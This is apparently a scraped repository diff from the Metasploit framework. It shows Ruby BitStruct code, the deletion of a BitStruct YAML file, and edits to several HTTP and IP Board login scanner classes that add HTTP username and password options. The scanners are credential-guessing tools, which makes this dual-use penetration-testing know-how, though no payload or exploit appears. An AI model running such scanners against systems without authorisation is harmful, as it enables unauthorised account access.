# subclass to specify a particular BitStruct class to use for each entry,
|
||||
# instead of generating an anonymous class. Called without arguments to
|
||||
# access the struct class, generating an anonymous one if needed.
|
||||
# The struct_class inherits from the struct_class of the parent Vector
|
||||
# class.
|
||||
def struct_class cl = nil
|
||||
if cl
|
||||
if @struct_class
|
||||
warn "changing struct_class in #{self} to #{cl}"
|
||||
end
|
||||
@struct_class = cl
|
||||
@struct_class.default_options default_options
|
||||
else
|
||||
unless @struct_class
|
||||
@struct_class = self == BitStruct::Vector ? BitStruct :
|
||||
Class.new(superclass.struct_class)
|
||||
@struct_class.default_options default_options
|
||||
end
|
||||
end
|
||||
@struct_class
|
||||
end
|
||||
|
||||
def method_missing(*a, &block) # :nodoc:
|
||||
struct_class.send(*a, &block)
|
||||
end
|
||||
|
||||
alias :orig_respond_to? :respond_to?
|
||||
def respond_to?(*m) # :nodoc:
|
||||
orig_respond_to?(*m) || struct_class.respond_to?(*m)
|
||||
end
|
||||
|
||||
# Get or set the hash of default options for the class, which apply to all
|
||||
# fields in the entries. If +h+ is provided, update the default options
|
||||
# with that hash. Default options are inherited.
|
||||
#
|
||||
# This is especially useful with the <tt>:endian => val</tt> option.
|
||||
def default_options h = nil
|
||||
@default_options ||= superclass.default_options.dup
|
||||
if h
|
||||
@default_options.merge! h
|
||||
if @struct_class
|
||||
@struct_class.default_options h
|
||||
end
|
||||
end
|
||||
@default_options
|
||||
end
|
||||
|
||||
def describe(*args)
|
||||
fmt = args[0] || BitStruct.describe_format
|
||||
if block_given?
|
||||
struct_class.describe(*args){|desc| yield desc}
|
||||
yield ["..."]*5
|
||||
else
|
||||
struct_class.describe(*args) + [fmt % (["..."]*5)]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Convenience method for instances. Returns the BitStruct class that
|
||||
# describes each entry.
|
||||
def struct_class
|
||||
self.class.struct_class
|
||||
end
|
||||
|
||||
# Convenience method for instances. Returns the string length in bytes of
|
||||
# each entry in the vector.
|
||||
def struct_class_length
|
||||
self.class.struct_class.round_byte_length
|
||||
end
|
||||
|
||||
# +arg+ can be an integer (number of entries) or a string
|
||||
# (binary data, such as another Vector of the same size).
|
||||
def initialize arg # :yields: instance
|
||||
case arg
|
||||
when Integer
|
||||
super(struct_class.initial_value * arg)
|
||||
|
||||
else
|
||||
begin
|
||||
super arg
|
||||
rescue NameError
|
||||
raise ArgumentError, "must be string or integer: #{arg.inspect}"
|
||||
end
|
||||
end
|
||||
|
||||
yield self if block_given?
|
||||
end
|
||||
|
||||
# Get the +i+-th entry. Returns a *copy* of the entry. If you want to
|
||||
# use this copy to modify the entry, you must modify the copy and then
|
||||
# use #[]= to replace the entry with the copy.
|
||||
def [](i)
|
||||
sc = self.class.struct_class
|
||||
entry_length = sc.round_byte_length
|
||||
|
||||
unless (0...(length / entry_length)).include? i
|
||||
raise ArgumentError, "index out of range: #{i}"
|
||||
end
|
||||
|
||||
sc.new slice(entry_length * i, entry_length)
|
||||
end
|
||||
|
||||
alias _old_replace_substr []=
|
||||
|
||||
# Set the +i+-th entry to +val+.
|
||||
def []=(i,val)
|
||||
entry_length = struct_class_length
|
||||
|
||||
unless (0...(length / entry_length)).include? i
|
||||
raise ArgumentError, "index out of range: #{i}"
|
||||
end
|
||||
|
||||
unless val.length == entry_length
|
||||
raise ArgumentError, "wrong entry length: #{val.length} != #{entry_length}"
|
||||
end
|
||||
|
||||
_old_replace_substr(entry_length * i, entry_length, val)
|
||||
end
|
||||
|
||||
## TODO: [i..j] etc.
|
||||
|
||||
# Iterate over entries.
|
||||
def each
|
||||
entry_length = struct_class_length
|
||||
(length / entry_length).times do |i|
|
||||
yield self[i]
|
||||
end
|
||||
end
|
||||
|
||||
def inspect(opts = BitStruct::DEFAULT_INSPECT_OPTS)
|
||||
if opts[:include_class]
|
||||
opts = opts.dup
|
||||
opts[:include_class] = false
|
||||
s = self.class.inspect + ": "
|
||||
else
|
||||
s = ""
|
||||
end
|
||||
|
||||
s << entries.map{|entry| entry.inspect(opts)}.join(opts[:separator])
|
||||
lb, rb = opts[:brackets]
|
||||
[lb, s, rb].join
|
||||
end
|
||||
|
||||
def inspect_detailed
|
||||
inspect(BitStruct::DETAILED_INSPECT_OPTS)
|
||||
end
|
||||
end
|
||||
@@ -1,70 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'yaml'
|
||||
|
||||
class BitStruct
|
||||
if RUBY_VERSION == "1.8.2"
|
||||
def is_complex_yaml? # :nodoc:
|
||||
true
|
||||
end
|
||||
|
||||
YAML.add_ruby_type(/^bitstruct/) do |type, val|
|
||||
subtype, subclass = YAML.read_type_class(type, Object)
|
||||
subclass.new(val)
|
||||
end
|
||||
|
||||
def to_yaml_type # :nodoc:
|
||||
"!ruby/bitstruct:#{self.class}"
|
||||
end
|
||||
|
||||
def to_yaml( opts = {} ) # :nodoc:
|
||||
opts[:DocType] = self.class if Hash === opts
|
||||
YAML.quick_emit(self.object_id, opts) do |out|
|
||||
out.map(to_yaml_type) do |map|
|
||||
fields.each do |field|
|
||||
fn = field.name
|
||||
map.add(fn, send(fn))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
yaml_as "tag:path.berkeley.edu,2006:bitstruct"
|
||||
|
||||
def to_yaml_properties # :nodoc:
|
||||
yaml_fields = fields.select {|field| field.inspectable?}
|
||||
props = yaml_fields.map {|f| f.name.to_s}
|
||||
if (rest_field = self.class.rest_field)
|
||||
props << rest_field.name.to_s
|
||||
end
|
||||
props
|
||||
end
|
||||
|
||||
# Return YAML representation of the BitStruct.
|
||||
def to_yaml( opts = {} )
|
||||
YAML::quick_emit( object_id, opts ) do |out|
|
||||
out.map( taguri, to_yaml_style ) do |map|
|
||||
to_yaml_properties.each do |m|
|
||||
map.add( m, send( m ) )
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def self.yaml_new( klass, tag, val ) # :nodoc:
|
||||
unless Hash === val
|
||||
raise YAML::TypeError, "Invalid BitStruct: " + val.inspect
|
||||
end
|
||||
|
||||
bitstruct_name, bitstruct_type = YAML.read_type_class( tag, BitStruct )
|
||||
|
||||
st = bitstruct_type.new
|
||||
|
||||
val.each do |k,v|
|
||||
st.send( "#{k}=", v )
|
||||
end
|
||||
|
||||
st
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -17,7 +17,7 @@ module Metasploit
|
||||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, http_username, http_password
|
||||
)
|
||||
|
||||
configure_http_client(http_client)
|
||||
|
||||
@@ -34,7 +34,7 @@ module Metasploit
|
||||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, http_username, http_password)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
|
||||
@@ -69,7 +69,7 @@ module Metasploit
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies, http_username, http_password)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
|
||||
@@ -35,7 +35,9 @@ module Metasploit
|
||||
},
|
||||
ssl,
|
||||
ssl_version,
|
||||
proxies)
|
||||
proxies,
|
||||
http_username,
|
||||
http_password)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
|
||||
|
||||
@@ -20,6 +20,13 @@ module Metasploit
|
||||
# @return [String] Cookie session
|
||||
attr_accessor :jsession
|
||||
|
||||
# @!attribute http_username
|
||||
attr_accessor :http_username
|
||||
# @return [String] HTTP username
|
||||
|
||||
# @!attribute http_password
|
||||
attr_accessor :http_password
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
@@ -61,7 +68,7 @@ module Metasploit
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, http_username, http_password)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
|
||||
@@ -161,6 +161,14 @@ module Metasploit
|
||||
# @return [Boolean] Whether to conform to IIS digest authentication mode.
|
||||
attr_accessor :digest_auth_iis
|
||||
|
||||
# @!attribute http_username
|
||||
# @return [String]
|
||||
attr_accessor :http_username
|
||||
|
||||
# @!attribute http_password
|
||||
# @return [String]
|
||||
attr_accessor :http_password
|
||||
|
||||
|
||||
validates :uri, presence: true, length: { minimum: 1 }
|
||||
|
||||
@@ -171,7 +179,7 @@ module Metasploit
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, http_username, http_password
|
||||
)
|
||||
request = http_client.request_cgi(
|
||||
'uri' => uri,
|
||||
@@ -213,8 +221,8 @@ module Metasploit
|
||||
cli_ssl = opts['ssl'] || ssl
|
||||
cli_ssl_version = opts['ssl_version'] || ssl_version
|
||||
cli_proxies = opts['proxies'] || proxies
|
||||
username = opts['credential'] ? opts['credential'].public : ''
|
||||
password = opts['credential'] ? opts['credential'].private : ''
|
||||
username = opts['credential'] ? opts['credential'].public : http_username
|
||||
password = opts['credential'] ? opts['credential'].private : http_password
|
||||
realm = opts['credential'] ? opts['credential'].realm : nil
|
||||
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
|
||||
|
||||
|
||||
@@ -7,10 +7,18 @@ module Metasploit
|
||||
# IP Board login scanner
|
||||
class IPBoard < HTTP
|
||||
|
||||
# @!attribute http_username
|
||||
# @return [String]
|
||||
attr_accessor :http_username
|
||||
|
||||
# @!attribute http_password
|
||||
# @return [String]
|
||||
attr_accessor :http_password
|
||||
|
||||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, self.http_username, self.http_password
|
||||
)
|
||||
configure_http_client(http_client)
|
||||
|
||||
|
||||
@@ -37,7 +37,7 @@ module Metasploit
|
||||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, http_username, http_password)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user